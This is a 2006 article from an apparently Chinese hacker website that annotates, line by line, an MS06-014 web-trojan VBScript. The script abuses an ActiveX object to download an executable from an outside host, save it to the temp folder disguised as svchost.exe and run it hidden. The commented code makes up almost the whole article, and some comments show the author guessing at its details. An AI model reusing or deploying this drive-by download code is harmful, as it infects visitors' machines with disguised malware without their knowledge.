黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 木马天地 >> 文章正文
[推荐]MS06014网马脚本解释
        ★★★★★
MS06014网马脚本解释
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-30
 Set df = document.createElement("object") '创建项目
 df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" '对项目进行36位全球唯一码编号
 Set x = df.CreateObject("Microsoft.XMLHTTP,"") '创建一个XMLHTTP项目(用来传输数据)
 set SS = df.createobject("ADODB.Stream","") '创建一个ADOBD数据流格式(数据媒介)
 SS.type = 1 '类型.1好像是2进制.具体忘了
 x.Open Get, "http://fxfqiao.com/laopo/1.exe", False '打开远程文件,这个就是木马文件了
 x.Send '发送
 set F = df.createobject("Scripting.FileSystemObject","") '创建一个文件项目(用来把数据流还原成文件)
 set tmp = F.GetSpecialFolder(2) '这句好像是获得文件夹
 SS.open ''
 fname1= F.BuildPath(tmp,"svchost.exe") '注入到svchost.exe
 SS.write x.responseBody '把远程文件写入数据流中
 SS.savetofile fname1,2 '把数据流存为文件.并且是直接写到svchost.exe的Hook好像,到这里.你的机器已经中毒
 set Q = df.createobject(Shell.Application,"") '创建一个Shell
 Q.ShellExecute fname1,"","","open",0 '到这里.你的病毒开始发挥作用
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886